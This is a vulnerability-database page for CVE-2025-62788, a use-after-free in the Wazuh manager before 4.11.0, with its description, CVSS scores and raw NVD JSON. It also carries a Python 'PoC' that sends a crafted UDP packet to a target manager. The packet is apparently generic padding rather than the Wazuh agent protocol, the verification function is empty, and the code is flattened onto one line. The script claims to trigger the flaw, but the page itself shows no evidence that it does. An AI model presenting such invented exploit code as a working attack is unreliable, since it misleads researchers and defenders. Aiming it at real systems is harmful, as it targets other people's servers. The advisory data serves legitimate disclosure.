Security Vulnerability Report
中文
CVE-2025-62788 CVSS 7.5 HIGH

CVE-2025-62788

Published: 2025-10-29 17:15:37
Last Modified: 2025-11-03 19:36:30

Description

Wazuh is a free and open source platform used for threat prevention, detection, and response. Prior to 4.11.0, w_copy_event_for_log() references memory (initially allocated in OS_CleanMSG()) after it has been freed. A compromised agent can potentially compromise the integrity of the application by sending a specially crafted message to the wazuh manager. An attacker who is able to craft and send an agent message to the wazuh manager can leverage this issue to potentially compromise the integrity of the application (the use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere). This vulnerability is fixed in 4.11.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:* - VULNERABLE
Wazuh < 4.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-62788 PoC - Wazuh Use-After-Free in w_copy_event_for_log() # This PoC demonstrates the vulnerability by crafting a malicious agent message # that triggers the use-after-free condition in Wazuh Manager import socket import struct import hashlib def craft_malicious_message(): """ Craft a malicious Wazuh agent message to trigger UAF in w_copy_event_for_log() The vulnerability exists because w_copy_event_for_log() references memory that was initially allocated in OS_CleanMSG() but gets freed before use. """ # Wazuh message header format msg_size = 1024 msg_type = 1 # agent message type # Craft message that triggers the UAF condition # The message needs specific format to cause memory to be freed # before w_copy_event_for_log() accesses it malicious_payload = b'A' * 512 # Padding malicious_payload += b'\x00' * 256 # Null bytes to trigger cleanup malicious_payload += b'\xff\xfe' * 128 # Specific pattern # Message structure: size + type + payload message = struct.pack('<I', msg_size) message += struct.pack('<I', msg_type) message += malicious_payload return message def send_malicious_message(manager_ip, manager_port=1514): """ Send the malicious message to Wazuh Manager Args: manager_ip: IP address of Wazuh Manager manager_port: Port number (default 1514 for agent communication) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Craft and send the malicious message payload = craft_malicious_message() print(f"[*] Sending malicious message to {manager_ip}:{manager_port}") sock.sendto(payload, (manager_ip, manager_port)) print("[+] Malicious message sent successfully") print("[*] The message is designed to trigger use-after-free in w_copy_event_for_log()") print("[*] If vulnerable, this may cause memory corruption or integrity compromise") sock.close() except Exception as e: print(f"[-] Error sending message: {e}") def verify_vulnerability(manager_ip): """ Verify if the target is vulnerable to CVE-2025-62788 """ print(f"[*] Checking if {manager_ip} is vulnerable...") # In a real scenario, you would check the Wazuh version # Vulnerable versions: < 4.11.0 # Fixed version: 4.11.0 pass if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-62788-poc.py <manager_ip> [port]") print("Example: python3 cve-2025-62788-poc.py 192.168.1.100 1514") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 1514 print("=" * 60) print("CVE-2025-62788 PoC - Wazuh Use-After-Free Vulnerability") print("=" * 60) send_malicious_message(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62788", "sourceIdentifier": "[email protected]", "published": "2025-10-29T17:15:36.677", "lastModified": "2025-11-03T19:36:29.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh is a free and open source platform used for threat prevention, detection, and response. Prior to 4.11.0, w_copy_event_for_log() references memory (initially allocated in OS_CleanMSG()) after it has been freed. A compromised agent can potentially compromise the integrity of the application by sending a specially crafted message to the wazuh manager. An attacker who is able to craft and send an agent message to the wazuh manager can leverage this issue to potentially compromise the integrity of the application (the use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere). This vulnerability is fixed in 4.11.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.11.0", "matchCriteriaId": "7EBF4F2E-C12A-401D-8408-287D9EC5B0B1"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-qjcw-fjvh-8q4g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}